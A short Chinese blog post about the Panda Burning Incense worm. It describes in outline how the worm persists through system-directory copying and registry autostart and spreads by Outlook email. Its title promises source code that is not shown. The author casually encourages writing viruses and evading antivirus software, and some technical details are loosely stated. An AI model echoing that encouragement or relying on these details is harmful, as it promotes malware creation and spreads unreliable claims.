熊猫烧⾹病毒详解（附源码及学习资料）这⼏天⼩编在研究下病毒，源码拿出来和⼤家分享⼀下。
温馨提⽰：亮点最后！今天在OSC看到有⼈共享熊猫烧⾹的源码，⽤Delphi写的，真的是跨平台啊，犹对Japanese操作系统破坏最甚，字⾥⾏间留露出作者的愤青情绪啊，⼤体的看了下，主要是通过拷贝到Windows系统⽬录中，注册表添加⾃启动的蠕⾍病毒，通过VB调⽤Windows的Outlook发送邮件，进⽽达到传播病毒，原始的病毒是将exe的图标改成熊猫烧⾹的图标，并没有其他功效，真正破坏性的都是后期制作的。
随着编程语⾔的简化和提⾼，写个病毒当个骇客，再也不是梦了，主要你要了解病毒是怎么传播的，如何保证⾃⼰不会被轻易的杀掉，对Windows的漏洞也要有很深的研究，这样才能写出⼀个骇⼈听闻的病毒，但是写出来也不要张扬，⾃⼰娱乐下就好了，被他⼈恶意利⽤可不是闹着玩的。
不禁想起了之前微软的⼀个严重漏洞，迟迟四年也没有发现，漏洞是当OS连续运⾏49天之后会死机，为什么没有发现呢，因为其他的漏洞导致os还未运⾏就么久就已经死了，原因是每毫⽶加⾐的计时器，在49天之后，int型就溢出了，导致系统崩溃。
